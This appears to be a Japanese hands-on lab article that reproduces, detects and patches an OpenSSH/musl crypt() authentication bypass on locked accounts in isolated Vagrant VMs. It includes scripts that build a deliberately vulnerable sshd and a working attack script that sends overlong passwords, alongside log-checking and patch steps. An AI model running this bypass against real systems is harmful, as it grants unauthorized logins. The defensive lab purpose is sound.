0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

xssholeパッチ適用ハンズオン

0
Posted at

musl libc の crypt() と OpenSSH の非PAMパスワード認証が組み合わさったときに発生する
認証バイパス CVE-2026-123158(通称 "*sshole" / xsshole)を、完全に隔離したローカルVM上の各自環境で再現し、「バイパスの観測 → ログ調査 → パッチ適用 → 防御成功の確認」までを一通り体験するためのラボです。

このラボは自分が所有する隔離環境(VirtualBox の private network)内でのみ動かします。
外部ネットワークや他者のシステムには一切向けません。学習・防御検証が目的です。


何を学べるか

  1. 再現: 脆弱 OpenSSH 9.6p1 を動作させ、ロック済アカウントへ長いパスワードでログインできてしまう事象を観測する。
  2. ログ調査: /var/log/messages の Accepted password と /etc/shadow の * を突き合わせ、今回のバイパス痕跡の探し方を確認する。ログをカスタマイズしている場合は一般的な手順では確認しきれない点に注意する。
  3. 対処と再起動: 一般的な対処と同じく、OpenSSH を 10.6p2 以降(配布元のパッチ済パッケージ)へ更新して sshd を再起動する。パッケージ更新だけでは稼働中プロセスに反映されない、という要点を確認する(本ラボは脆弱 sshd をソースビルドで動かしているため、この更新を fixed モードでの再ビルドで模す)。
  4. 防御確認: パッチ後(または PasswordAuthentication no 後)に同じバイパスが失敗することを観測する。

構成

ホスト 役割 IP (private network)
victim バイパス対象。敢えて古い Alpine、musl + 非PAM + パスワード認証。 192.168.56.10
attacker sshpass で長いパスワードを送るだけのクライアント。 192.168.56.20

2台は VirtualBox の host-only / private network 上にのみ接続し、NAT 以外で外へ出ません。

xsshole-lab/
├── Vagrantfile            ← victim / attacker 2台定義
├── provision/
│   ├── victim-setup.sh         ← '*' / labuser=$6$ を用意(salt 借用元)
│   ├── build-vuln-sshd.sh      ← OpenSSH 9.6p1 をソースからビルドし 2022番で起動
│   ├── xsshole-stabilize.patch ← fixed(10.6p2相当)で当てる修正パッチの参照差分
│   └── attacker-setup.sh       ← sshpass 導入
└── scripts/
    ├── attack.sh            ← バイパスの再現(2022番へ長いパスワードで SSH)
    ├── observe-logs.sh      ← ログ(/var/log/messages)/shadow の突き合わせ
    ├── patch.sh             ← 長さガード入りで再ビルド=修正版へ置換
    ├── verify-defense.sh    ← バイパスが失敗することを確認
    └── crypt-probe.c        ← musl crypt() の挙動を観測する教材プログラム

前提ツール

  • VirtualBox
  • Vagrant
  • generic/alpine319 box(vagrant up 時に取得)

実行の流れ

/vagrant 共有不要で、スクリプトは標準入力へ流し込む。

# 1. 脆弱な victim と attacker を起動(victim はソースビルドに数分かかる)
vagrant up

# 2. バイパスを再現(attacker から、2022番の svc へ)
vagrant ssh attacker -c 'sh -s' < scripts/attack.sh

# 3. ログ調査(victim 上)
vagrant ssh victim -c 'sudo sh -s' < scripts/observe-logs.sh

# 4. 対処: 10.6p2 相当へ更新+再起動(ラボでは fixed 再ビルドで代替)(victim 上)
vagrant ssh victim -c 'sudo sh -s' < scripts/patch.sh

# 5. 防御確認(attacker から、今度は失敗するはず)
vagrant ssh attacker -c 'sh -s' < scripts/verify-defense.sh

vagrant up の際、VirtualBox のブート待ちで Host is unreachable/timed out 、‘unknown’ state になる一過性フレークが起きることが稀に良くあります。その影響で private network が未設定のままブートしたりします。VirtualBox/Vagrant の揺らぎであり、原因や対処未調査ですが、その場合は、vagrant reload でネットワーク設定が再適用されれば解消しました。


動作のポイント

経路: 試験用に用意した「ロック済の何らかのサービスの為のアカウント」 svc(*) へ長いパスワードでログインを試みると、OpenSSH は salt を確定できずxcrypt(pw, NULL) を呼び、pick_salt() が別アカウントの $6$ salt を借用する。musl のcrypt(300桁,"$6$…") は 256 バイトを超える入力に * を返すため、これが stored の * と一致してバイパスが成立する。
provision/build-vuln-sshd.sh が OpenSSH 9.6p1 をソースからビルドし、--without-pam で 2022番の vulnsshd として常駐させる。配布パッケージは基本的に修正がバックポート済のため、修正前のコードを確実に得るためにソースビルドする。

同一接続内の 1 回目のパスワード認証は Permission denied、2 回目で通る。
svc の stored を指す libc 静的バッファの状態が 1 回目の処理後に整うためで、2 回目は比較対象の* が保たれて成立する。そのため接続ごとに 1 回だけ送る sshpass では通らず、scripts/attack.sh はSSH_ASKPASS で同一接続内の各パスワードプロンプトに応答して 2 回目でログインする。

防御は scripts/patch.sh(= XSSHOLE_MODE=fixed で再ビルド)。公式 10.6p2 相当の修正で、stored を安定領域へ copy し、長さガード(MIN_PASSWORD_HASH_LEN)で * 等の短い stored をsalt 借用の前に弾く。scripts/verify-defense.sh で同じバイパスが通らないことを確認する。


この事例の学び

  • 一つひとつは“正常な仕様” : 「musl の crypt() が失敗時に * を返すこと」、「ロック値が * であること」、「非PAM 経路が salt を借用すること」 — どれも単体では設計上の判断。それらが組み合わさった瞬間に、ロック済アカウントへの認証バイパスという大きな欠陥になった。
  • 要素理解・対処は比較的やさしい : 機序を追えば腑に落ちるし、対策も「10.6p2 へ更新 + 再起動」か「パスワード認証を止める」で明快。
  • 難しいのは“横展開” : 自組織の資産のどこにこの組み合わせ(musl × 非PAM × pw認証 × * ロック × 別アカウントの有効ハッシュ)が潜むかを漏れなく見つけるのは容易でない。同じような認証バイパスがないか?という検証も難しい。だからこそ、日々の脆弱性情報のキャッチアップ・資産の多面的な棚卸し・継続的なセキュリティ的更新・継続的な監視という、複合的で継続的な営みに立ち返ることになる。単発の「直し方」を知って終わり、ではない。

付録 スクリプト類

スクリプト類
Vagrantfile
# -*- mode: ruby -*-
# vi: set ft=ruby :
#
# xsshole (CVE-2026-123158) 検証ラボ
# 隔離された private network 上に victim と attacker の 2 台を構築する。
# 通信は 192.168.56.0/24 内に限定し、外部や本番には一切向けない。

Vagrant.configure("2") do |config|
  config.vm.box_check_update = false

  # 攻撃対象: 敢えて古い Alpine。musl libc + 非 PAM + パスワード認証。
  config.vm.define "victim" do |v|
    v.vm.box = "generic/alpine319"
    v.vm.hostname = "victim"
    v.vm.network "private_network", ip: "192.168.56.10"
    v.vm.provider "virtualbox" do |vb|
      vb.name   = "xsshole-victim"
      vb.memory = 512
      vb.cpus   = 1
    end
    # (1) 対象アカウント等の下ごしらえ(svc='*' / labuser=$6$ など)
    v.vm.provision "shell",
      path: "provision/victim-setup.sh",
      env: { "VULN_OPENSSH_VERSION" => ENV.fetch("VULN_OPENSSH_VERSION", "") }
    # (2) 脆弱 OpenSSH 9.6p1 をソースからビルドし、2022番で vulnsshd として常駐。
    #     これにより `vagrant up` だけで脆弱性が再現する環境になる(ビルドに数分)。
    v.vm.provision "shell",
      path: "provision/build-vuln-sshd.sh",
      env: { "XSSHOLE_MODE" => "vuln" }
  end

  # 攻撃側: sshpass で長いパスワードを送るだけのクライアント。
  config.vm.define "attacker" do |a|
    a.vm.box = "generic/alpine319"
    a.vm.hostname = "attacker"
    a.vm.network "private_network", ip: "192.168.56.20"
    a.vm.provider "virtualbox" do |vb|
      vb.name   = "xsshole-attacker"
      vb.memory = 256
      vb.cpus   = 1
    end
    a.vm.provision "shell", path: "provision/attacker-setup.sh"
  end
end

attacker-setup.sh
#!/bin/sh
# attacker-setup.sh — バイパス試行側クライアントの準備。
# attack.sh は ssh + SSH_ASKPASS で、同一接続内の各パスワードプロンプトに応答する
# (これが再現に必要。1 接続で複数回パスワードを送るため)。
# sshpass は labuser の通常ログイン確認に使うので併せて導入する。
set -eu

echo "==> [attacker] openssh クライアントと sshpass を導入"
apk update
apk add sshpass openssh-client

echo "==> [attacker] 準備完了"

build-vuln-sshd.sh
#!/bin/sh
# build-vuln-sshd.sh — CVE-2026-123158 (xsshole) を再現する OpenSSH 9.6p1 を
# ソースからビルドし、2022番ポートで OpenRC サービス vulnsshd として常駐させる。
#
# 【モード】
#   XSSHOLE_MODE=vuln(既定): 脆弱な 9.6p1。
#   XSSHOLE_MODE=fixed: 公式 10.6p2 相当の修正を入れた版。stored を安定領域へ copy し、
#     MIN_PASSWORD_HASH_LEN の長さガードで '*' 等の短い stored を salt 借用の前に拒否する。
#
# 隔離された教育ラボ専用。外部や他者のシステムには一切向けない。
set -eu

VER=openssh-9.6p1
SHA=910211c07255a8c5ad654391b40ee59800710dd8119dd5362de09385aa7a777c
PREFIX=/opt/vulnssh
SRCROOT=/usr/local/src/vulnssh
PORT=2022
MODE="${XSSHOLE_MODE:-vuln}"

echo "==> [vuln-sshd] mode=${MODE}: ビルド依存を導入"
apk add --quiet gcc make musl-dev openssl-dev zlib-dev linux-headers wget >/dev/null 2>&1 || {
  apk update >/dev/null 2>&1
  apk add --quiet gcc make musl-dev openssl-dev zlib-dev linux-headers wget
}

# 自分自身を既知の場所へ設置(patch.sh が fixed 再ビルドに使う)
mkdir -p "$PREFIX"
if [ -f "$0" ] && [ "$0" != "sh" ]; then
  cp "$0" "$PREFIX/build-vuln-sshd.sh" 2>/dev/null || true
  chmod +x "$PREFIX/build-vuln-sshd.sh" 2>/dev/null || true
fi

echo "==> [vuln-sshd] ソース取得 ($VER)"
mkdir -p "$SRCROOT"; cd "$SRCROOT"
if [ ! -f "$VER.tar.gz" ]; then
  for U in \
    "https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/$VER.tar.gz" \
    "https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/$VER.tar.gz" \
    "https://mirror.leaseweb.com/pub/OpenBSD/OpenSSH/portable/$VER.tar.gz" ; do
    echo "    try $U"
    if wget -q -O "$VER.tar.gz" "$U"; then break; fi
    rm -f "$VER.tar.gz"
  done
fi
[ -f "$VER.tar.gz" ] || { echo "!! ソース取得に失敗(ネットワーク確認)"; exit 1; }
echo "$SHA  $VER.tar.gz" | sha256sum -c - >/dev/null 2>&1 || { echo "!! sha256 不一致(改竄 or 取得不良)"; exit 1; }
rm -rf "$VER"; tar xzf "$VER.tar.gz"; cd "$VER"

if [ "$MODE" = fixed ]; then
  echo "==> [vuln-sshd] 修正パッチを適用 (auth-passwd.c: copy + 長さガード, 公式 10.6p2 相当)"
  cat > /tmp/xsshole_inject.awk <<'AWK'
/if \(pw_password == NULL\)/ {
  print; getline n; print n;
  print "";
  print "\t/* XSSHOLE lab (CVE-2026-123158) FIX: models OpenSSH 10.6p2.";
  print "\t   Copy stored hash to stable storage BEFORE xcrypt()->pick_salt()";
  print "\t   runs getpwent()/getspnam(), then reject stored hashes too short to";
  print "\t   be a real crypt result (locked '*','!','x' ...) — the salt is never";
  print "\t   borrowed. Isolated educational lab only. */";
  print "\tchar xsshole_pwbuf[512];";
  print "\tstrlcpy(xsshole_pwbuf, pw_password, sizeof(xsshole_pwbuf));";
  print "\tpw_password = xsshole_pwbuf;";
  print "\tif (pw_password[0] == 0 || pw_password[1] == 0 || pw_password[2] == 0)";
  print "\t\treturn 0;\t/* XSSHOLE FIX: stored hash too short to be real (models MIN_PASSWORD_HASH_LEN) */";
  next
}
{ print }
AWK
  awk -f /tmp/xsshole_inject.awk auth-passwd.c > auth-passwd.c.x && mv auth-passwd.c.x auth-passwd.c
  echo "    適用箇所:"; grep -n 'xsshole\|XSSHOLE' auth-passwd.c | sed 's/^/      /'
else
  echo "==> [vuln-sshd] mode=vuln: 脆弱な OpenSSH 9.6p1 をビルド"
  echo "    同一接続の1回目は拒否・2回目で成立。attack.sh が1接続で複数回パスワードを送って再現する。"
fi

echo "==> [vuln-sshd] configure --without-pam (数分かかります)"
./configure --without-pam --with-privsep-path=/var/empty --with-privsep-user=sshd \
  > /tmp/vulncfg.log 2>&1 || { echo "configure 失敗"; tail -25 /tmp/vulncfg.log; exit 1; }
echo "==> [vuln-sshd] make sshd"
make sshd > /tmp/vulnmake.log 2>&1 || { echo "make 失敗"; tail -30 /tmp/vulnmake.log; exit 1; }

echo "==> [vuln-sshd] インストール ($PREFIX)"
mkdir -p "$PREFIX/sbin" "$PREFIX/etc"
install -m 0755 ./sshd "$PREFIX/sbin/sshd"
[ -f "$PREFIX/etc/ssh_host_ed25519_key" ] || ssh-keygen -t ed25519 -f "$PREFIX/etc/ssh_host_ed25519_key" -N '' -q
cat > "$PREFIX/etc/sshd_config" <<CONF
# 脆弱 sshd (CVE-2026-123158 教育ラボ用)。隔離ネットワーク専用。
Port ${PORT}
ListenAddress 0.0.0.0
HostKey ${PREFIX}/etc/ssh_host_ed25519_key
PasswordAuthentication yes
PubkeyAuthentication yes
PermitRootLogin no
PidFile /run/vulnsshd.pid
# ログは syslog(AUTH) 経由で /var/log/messages に残す(-E でファイルへ逃がさない)。
SyslogFacility AUTH
LogLevel VERBOSE
CONF

echo "==> [vuln-sshd] syslog(=/var/log/messages) を有効化(sshd のログ出力先)"
# -E を外したので sshd は syslog 経由で記録する。受け手の syslogd を必ず起こす。
# busybox syslogd は既定で /var/log/messages に書く。
if [ -f /etc/init.d/syslog ]; then
  rc-update add syslog boot    >/dev/null 2>&1 \
    || rc-update add syslog default >/dev/null 2>&1 || true
  rc-service syslog restart >/dev/null 2>&1 \
    || rc-service syslog start >/dev/null 2>&1 || true
elif command -v syslogd >/dev/null 2>&1; then
  pgrep -x syslogd >/dev/null 2>&1 || syslogd
fi

echo "==> [vuln-sshd] OpenRC サービス登録 (vulnsshd)"
cat > /etc/init.d/vulnsshd <<'RC'
#!/sbin/openrc-run
name="vulnsshd"
description="Deliberately vulnerable OpenSSH 9.6p1 (CVE-2026-123158 lab, port 2022)"
command="/opt/vulnssh/sbin/sshd"
# -E は付けない: ログは syslog(AUTH)→/var/log/messages に残す。
command_args="-D -f /opt/vulnssh/etc/sshd_config"
pidfile="/run/vulnsshd.pid"
command_background="yes"
depend() { need net; use logger; }
RC
chmod +x /etc/init.d/vulnsshd
rc-update add vulnsshd default >/dev/null 2>&1 || true
rc-service vulnsshd restart
sleep 1

# 待受確認 (2022 = 0x07E6)
if command -v ss >/dev/null 2>&1 && ss -tln 2>/dev/null | grep -q ":${PORT} "; then
  LISTEN=yes
elif grep -qi ':07E6 ' /proc/net/tcp 2>/dev/null; then
  LISTEN=yes
else
  LISTEN=no
fi
if [ "$LISTEN" = yes ]; then
  echo "==> [vuln-sshd] mode=${MODE}: ${PORT}番で待受中。完了。"
else
  echo "!! [vuln-sshd] 待受なし。ログ(messages の sshd 行):"
  grep -iE 'sshd|vulnsshd' /var/log/messages 2>/dev/null | tail -n 20 || true
  exit 1
fi
victim-setup.sh
#!/bin/sh
# victim-setup.sh — バイパス試行対象を「意図的に脆弱な状態」にする。
# 隔離ラボ専用。CVE-2026-123158 の成立条件を満たすための設定。
set -eu

LOCKED_USER="svc"        # shadow が '*' のロック済アカウント(バイパス試行対象)
NORMAL_USER="labuser"    # 有効な SHA-512 ハッシュを持つ別アカウント(成立条件の一つ)
NORMAL_PASS="LabPass123" # ラボ内のみで使う既知の値

echo "==> [victim] 必要パッケージを用意する"
apk update
apk add openssl   # SHA-512 ハッシュ生成(openssl passwd -6)に使用
if [ -n "${VULN_OPENSSH_VERSION:-}" ]; then
  echo "    脆弱版をピン留め: openssh=${VULN_OPENSSH_VERSION}"
  if ! apk add "openssh=${VULN_OPENSSH_VERSION}"; then
    echo "!!! 指定版 openssh=${VULN_OPENSSH_VERSION} を導入できませんでした。" >&2
    echo "!!! 'apk list -a openssh' で入手可能な版を確認し、VULN_OPENSSH_VERSION を見直してください。" >&2
    echo "!!! (10.6p2 未満の版を指定する必要があります)" >&2
    exit 1
  fi
else
  echo "    VULN_OPENSSH_VERSION 未指定。既存の openssh を使用します。"
  apk add openssh
  echo "    現在の openssh: $(ssh -V 2>&1)"
  echo "    注意: これがパッチ版(10.6p2以降)だと脆弱性は再現しません。"
fi

echo "==> [victim] sshd を非PAM・パスワード認証有効に設定"
CONF=/etc/ssh/sshd_config
# パスワード認証を有効化(成立条件③)
if grep -q '^#*PasswordAuthentication' "$CONF"; then
  sed -i 's/^#*PasswordAuthentication.*/PasswordAuthentication yes/' "$CONF"
else
  echo 'PasswordAuthentication yes' >> "$CONF"
fi
# root のパスワードログインは無効のまま(念のため明示)
if grep -q '^#*PermitRootLogin' "$CONF"; then
  sed -i 's/^#*PermitRootLogin.*/PermitRootLogin prohibit-password/' "$CONF"
else
  echo 'PermitRootLogin prohibit-password' >> "$CONF"
fi

echo "==> [victim] ロック済アカウント ${LOCKED_USER} を作成し shadow を '*' に"
if ! id "$LOCKED_USER" >/dev/null 2>&1; then
  adduser -D -H "$LOCKED_USER"
fi
# busybox adduser は '!' を入れるので、脆弱性の条件に合わせて '*' へ置換(成立条件④)
sed -i "s|^\(${LOCKED_USER}:\)[^:]*:|\1*:|" /etc/shadow

echo "==> [victim] 有効な SHA-512 パスワードを持つ ${NORMAL_USER} を作成(成立条件⑤)"
if ! id "$NORMAL_USER" >/dev/null 2>&1; then
  adduser -D "$NORMAL_USER"
fi
HASH="$(openssl passwd -6 "$NORMAL_PASS")"   # -6 = SHA-512
sed -i "s|^\(${NORMAL_USER}:\)[^:]*:|\1${HASH}:|" /etc/shadow

echo "==> [victim] sshd を有効化・再起動"
rc-update add sshd default 2>/dev/null || true
rc-service sshd restart

echo "==> [victim] 確認用の現在状態:"
echo "    - sshd_config (抜粋):"
grep -E '^(PasswordAuthentication|PermitRootLogin|UsePAM)' "$CONF" || true
echo "    - shadow (抜粋):"
grep -E "^(${LOCKED_USER}|${NORMAL_USER}):" /etc/shadow | sed 's/:[^:]*:/:<pw>:/'
echo "==> [victim] セットアップ完了。これで脆弱な状態です。"
xsshole-stabilize.patch
# xsshole-stabilize.patch — fixed モード(公式 10.6p2 相当の修正)の参照差分。
#
# build-vuln-sshd.sh を XSSHOLE_MODE=fixed で動かすと、内部の awk がこの内容を
# 冪等に適用する。このファイルは「fixed で何を変えているか」を人間が読むための参照。
#
# 対象: openssh-9.6p1/auth-passwd.c の汎用 sys_auth_passwd()
# 意味: xcrypt()->pick_salt() が getpwent()/getspnam() を回して libc の静的
#       バッファを触る前に、stored ハッシュを安定領域へ copy し(10.6p2 の copy 修正)、
#       さらに長さガード(MIN_PASSWORD_HASH_LEN)で「stored が短すぎる(=*,!,x 等の
#       ロック値)なら salt 借用の前に拒否」する。これで防御が成立する。
#
# 隔離された教育ラボ専用。

--- a/auth-passwd.c
+++ b/auth-passwd.c
@@ -201,6 +201,13 @@ sys_auth_passwd(struct ssh *ssh, const char *password)
 	if (pw_password == NULL)
 		return 0;

+	/* XSSHOLE lab (CVE-2026-123158): copy stored hash to stable storage
+	   BEFORE xcrypt()->pick_salt() runs getpwent()/getspnam(), which
+	   otherwise clobbers the libc static buffer pw_password points into.
+	   Models the 10.6p2 copy fix; a length guard is added only when
+	   XSSHOLE_MODE=fixed. Isolated educational lab only. */
+	char xsshole_pwbuf[512];
+	strlcpy(xsshole_pwbuf, pw_password, sizeof(xsshole_pwbuf));
+	pw_password = xsshole_pwbuf;
+	/* XSSHOLE_MODE=fixed のときだけ、ここに次のガードが入る:
+	   if (pw_password[0]==0 || pw_password[1]==0 || pw_password[2]==0) return 0; */

 	/* Check for users with no password. */
 	if (strcmp(pw_password, "") == 0 && strcmp(password, "") == 0)

attack.sh
#!/bin/sh
# attack.sh — 脆弱性の再現(attacker VM 上で実行)。
# 隔離ラボ内の victim(192.168.56.10) のロック済アカウント svc に対し、
# 257〜1024 バイトの範囲(ここでは 300 バイト)の長いパスワードを送る。
set -u

TARGET="${TARGET:-192.168.56.10}"
PORT="${PORT:-2022}"          # 脆弱 sshd (vulnsshd) の待受ポート
USER_NAME="${USER_NAME:-svc}"
PROMPTS="${PROMPTS:-4}"       # 同一接続で許す最大パスワードプロンプト数(2 以上必要)

# 300 バイトの 'A' を生成(256 バイト超が条件)
LONGPW="$(awk 'BEGIN{s="";for(i=0;i<300;i++)s=s"A";print s}')"

# 各パスワードプロンプトに毎回 LONGPW を返す askpass ヘルパ。
# ssh はプロンプトのたびにこのプログラムを起動するので、2 回目以降にも応答できる。
ASKPASS="$(mktemp)"
cat > "$ASKPASS" <<'EOF'
#!/bin/sh
printf '%s\n' "$XSSHOLE_PW"
EOF
chmod +x "$ASKPASS"
cleanup() { rm -f "$ASKPASS"; }
trap cleanup EXIT INT TERM
export XSSHOLE_PW="$LONGPW"

echo "==> [attack] ${USER_NAME}@${TARGET}:${PORT} に ${#LONGPW} バイトのパスワードでログイン試行"
echo "    (同一接続で最大 ${PROMPTS} 回プロンプトに応答。1 回目 NG → 2 回目 OK を想定)"

SSH_ASKPASS="$ASKPASS" SSH_ASKPASS_REQUIRE=force ssh \
  -p "$PORT" \
  -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  -o PreferredAuthentications=password \
  -o PubkeyAuthentication=no \
  -o NumberOfPasswordPrompts="$PROMPTS" \
  -o ConnectTimeout=10 \
  "${USER_NAME}@${TARGET}" 'echo "LOGGED IN AS: $(id)"; hostname'

RC=$?
echo "----"
if [ "$RC" -eq 0 ]; then
  echo "==> [attack] 結果: ログイン成功 (exit=$RC) → 脆弱性が再現しています。"
else
  echo "==> [attack] 結果: ログイン失敗 (exit=$RC) → この状態ではバイパス試行は通りません。"
fi
exit "$RC"

observe-logs.sh
#!/bin/sh
# observe-logs.sh — ログ調査(victim VM 上で root/doas 実行)。
# 検知手順: /var/log/messages の "Accepted password" と
# /etc/shadow の '*'(ロック済)を突き合わせる。
set -u

LOG="${LOG:-/var/log/messages}"   # 脆弱 sshd(vulnsshd) は syslog(AUTH) 経由で messages に記録。

echo "==> [logs] ${LOG} 内の 'Accepted password' 行:"
if [ -f "$LOG" ]; then
  grep "Accepted password" "$LOG" || echo "    (該当なし)"
else
  echo "    ${LOG} が無い。syslogd が動いているか確認してください(rc-service syslog status / busybox syslogd)。"
fi

echo ""
echo "==> [logs] shadow が '*'(ロック済)のアカウント一覧:"
awk -F: '$2=="*"{print "    "$1}' /etc/shadow

echo ""
echo "==> [logs] 突き合わせ: ログイン成功しているのに shadow が '*' のユーザ"
echo "    (これが出たらバイパス試行された可能性が高い=強い検知シグナル)"
if [ -f "$LOG" ]; then
  for u in $(awk -F: '$2=="*"{print $1}' /etc/shadow); do
    if grep "Accepted password" "$LOG" | grep -qw "$u"; then
      echo "    [!] ${u}: ロック済なのにパスワード認証成功の記録あり"
    fi
  done
fi
echo "==> [logs] 調査完了"

patch.sh
#!/bin/sh
# patch.sh — 対処(victim VM 上で root/doas 実行)。
# 実運用の対処は「OpenSSH を 10.6p2 以降(配布元のパッチ済パッケージ)へ更新し、sshd を再起動」。
# 本ラボの脆弱 sshd(vulnsshd) は apk 管理ではないソースビルドなので、その更新を
# 「fixed(長さガード付き)で再ビルドして置き換え・再起動」で代替する。
# 長さガードは公式 10.6p2 の MIN_PASSWORD_HASH_LEN 相当
# (ロック済 '*' のように短すぎる stored は、salt 借用の前に拒否する)。
set -eu

BUILD=/opt/vulnssh/build-vuln-sshd.sh

echo "==> [patch] 修正版(fixed: 長さガード付き)で脆弱sshdを再ビルド・置換します"
if [ -x "$BUILD" ] || [ -f "$BUILD" ]; then
  XSSHOLE_MODE=fixed sh "$BUILD"
else
  echo "!! $BUILD が見つかりません。" >&2
  echo "   provision/build-vuln-sshd.sh を victim の $BUILD に配置してから再実行してください。" >&2
  echo "   例) vagrant ssh victim -c 'sudo tee $BUILD' < provision/build-vuln-sshd.sh" >&2
  exit 1
fi

echo "==> [patch] 完了。vulnsshd は長さガード入り(修正版)に置き換わりました。"
echo "    この後 verify-defense.sh を流すと、同じ攻撃が失敗する(防御成功)はずです。"
echo ""
echo "    --- 参考: 即時緩和(再ビルド不要の運用対策) ---"
echo "    # パスワード認証自体を止める(鍵認証のみに):"
echo "    #   sed -i 's/^PasswordAuthentication yes/PasswordAuthentication no/' /opt/vulnssh/etc/sshd_config"
echo "    #   rc-service vulnsshd restart"

verify-defense.sh
#!/bin/sh
# verify-defense.sh — 防御成功の確認(attacker VM 上で実行)。
# パッチ/緩和の後に attack.sh と同じバイパス試行(同一接続で複数回パスワードを送る)を
# 自己完結で流し、「失敗する」ことを確認する。
# (標準入力へ流し込んで実行されるため、外部ファイル ./attack.sh には依存しない)
#
# 脆弱挙動は「同一接続の 2 回目で通る」決定的なものなので、ここでも同じく
# 1 接続で複数回プロンプトに応答し、その上で「通らない」ことを防御成立とする。
set -u

TARGET="${TARGET:-192.168.56.10}"
PORT="${PORT:-2022}"
USER_NAME="${USER_NAME:-svc}"
PROMPTS="${PROMPTS:-4}"

LONGPW="$(awk 'BEGIN{s="";for(i=0;i<300;i++)s=s"A";print s}')"

ASKPASS="$(mktemp)"
cat > "$ASKPASS" <<'EOF'
#!/bin/sh
printf '%s\n' "$XSSHOLE_PW"
EOF
chmod +x "$ASKPASS"
cleanup() { rm -f "$ASKPASS"; }
trap cleanup EXIT INT TERM
export XSSHOLE_PW="$LONGPW"

echo "==> [verify] パッチ後に同じバイパス試行を再実行します(失敗が期待値)"
echo "    ${USER_NAME}@${TARGET}:${PORT} に ${#LONGPW} バイトのパスワードでログイン試行"
echo "    (同一接続で最大 ${PROMPTS} 回プロンプトに応答。防御が効いていれば全て NG)"

SSH_ASKPASS="$ASKPASS" SSH_ASKPASS_REQUIRE=force ssh \
  -p "$PORT" \
  -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  -o PreferredAuthentications=password \
  -o PubkeyAuthentication=no \
  -o NumberOfPasswordPrompts="$PROMPTS" \
  -o ConnectTimeout=10 \
  "${USER_NAME}@${TARGET}" 'echo "LOGGED IN AS: $(id)"; hostname'
RC=$?

echo "===="
if [ "$RC" -ne 0 ]; then
  echo "==> [verify] 期待どおりバイパス試行は失敗しました (exit=$RC)。防御成功。"
  exit 0
else
  echo "==> [verify] 警告: バイパス試行がまだ成功しています (exit=$RC)。"
  echo "             patch.sh の適用(fixed 再ビルド)と vulnsshd の再起動、"
  echo "             もしくは PasswordAuthentication no の適用を再確認してください。"
  exit 1
fi
crypt-probe.c
/* crypt-probe.c — musl の crypt() が長いパスワードで何を返すかを直接観測する。
 * CVE-2026-123158 の原因の一つ(SHA-crypt で 256バイト超 → "*" を返す)を手元で確認する教材。
 * ビルド: apk add gcc musl-dev && cc -O2 -o crypt-probe crypt-probe.c
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <crypt.h>

int main(void) {
    const char *salts[] = {"$6$abcdefgh$", "$5$abcdefgh$", "*", "$6$"};
    int lens[] = {100, 256, 257, 300, 1000};
    printf("%-14s %6s   %-22s %s\n", "salt", "pwlen", "crypt() 先頭", "==\"*\"?");
    printf("--------------------------------------------------------------\n");
    for (int s = 0; s < 4; s++) {
        for (int li = 0; li < 5; li++) {
            int n = lens[li];
            char p[1100];
            memset(p, 'A', n);
            p[n] = 0;
            char *r = crypt(p, salts[s]);
            char head[24];
            if (r) { strncpy(head, r, 20); head[20] = 0; } else { head[0] = 0; }
            printf("%-14s %6d   %-22s %s\n",
                   salts[s], n, r ? head : "(NULL)",
                   (r && strcmp(r, "*") == 0) ? "YES" : "no");
        }
    }
    return 0;
}

付録 動作ログ例

ログ
c:\var\tst
λ vagrant destroy -f
==> attacker: Destroying VM and associated drives...
==> victim: Destroying VM and associated drives...

c:\var\tst
λ vagrant up
Bringing machine 'victim' up with 'virtualbox' provider...
Bringing machine 'attacker' up with 'virtualbox' provider...
==> victim: Importing base box 'generic/alpine319'...
==> victim: Matching MAC address for NAT networking...
==> victim: Setting the name of the VM: xsshole-victim
==> victim: Clearing any previously set network interfaces...
==> victim: Preparing network interfaces based on configuration...
    victim: Adapter 1: nat
    victim: Adapter 2: hostonly
==> victim: Forwarding ports...
    victim: 22 (guest) => 2222 (host) (adapter 1)
==> victim: Running 'pre-boot' VM customizations...
==> victim: Booting VM...
==> victim: Waiting for machine to boot. This may take a few minutes...
    victim: SSH address: 127.0.0.1:2222
    victim: SSH username: vagrant
    victim: SSH auth method: private key
    victim:
    victim: Vagrant insecure key detected. Vagrant will automatically replace
    victim: this with a newly generated keypair for better security.
    victim:
    victim: Inserting generated public key within guest...
    victim: Removing insecure key from the guest if it's present...
    victim: Key inserted! Disconnecting and reconnecting using new SSH key...
==> victim: Machine booted and ready!
==> victim: Checking for guest additions in VM...
    victim: The guest additions on this VM do not match the installed version of
    victim: VirtualBox! In most cases this is fine, but in rare cases it can
    victim: prevent things such as shared folders from working properly. If you see
    victim: shared folder errors, please make sure the guest additions within the
    victim: virtual machine match the version of VirtualBox you have installed on
    victim: your host and reload your VM.
    victim:
    victim: Guest Additions Version: 7.0.10
    victim: VirtualBox Version: 7.1
==> victim: Setting hostname...
==> victim: Configuring and enabling network interfaces...
==> victim: Running provisioner: shell...
    victim: Running: C:/Users/alice/AppData/Local/Temp/vagrant-shell20261117-2340-zn1np3.sh
    victim: ==> [victim] 必要パッケージを用意する
    victim: fetch https://mirrors.edge.kernel.org/alpine/v3.18/main/x86_64/APKINDEX.tar.gz
    victim: fetch https://mirrors.edge.kernel.org/alpine/v3.18/community/x86_64/APKINDEX.tar.gz
    victim: v3.18.12-200-g958a89d3006 [https://mirrors.edge.kernel.org/alpine/v3.18/main]
    victim: v3.18.12-192-gb0b6b9a320c [https://mirrors.edge.kernel.org/alpine/v3.18/community]
    victim: OK: 20139 distinct packages available
    victim: OK: 149 MiB in 117 packages
    victim:     VULN_OPENSSH_VERSION 未指定。既存の openssh を使用します。
    victim: OK: 149 MiB in 117 packages
    victim:     現在の openssh: OpenSSH_9.6p1, OpenSSL 3.1.4 24 Oct 2023
    victim:     注意: これがパッチ版(10.6p2以降)だと脆弱性は再現しません。
    victim: ==> [victim] sshd を非PAM・パスワード認証有効に設定
    victim: ==> [victim] ロック済アカウント svc を作成し shadow を '*' に
    victim: ==> [victim] 有効な SHA-512 パスワードを持つ labuser を作成(成立条件⑤)
    victim: ==> [victim] sshd を有効化・再起動
    victim:  * rc-update: sshd already installed in runlevel `default'; skipping
    victim:  * Stopping sshd ... [ ok ]
    victim:  * Starting sshd ... [ ok ]
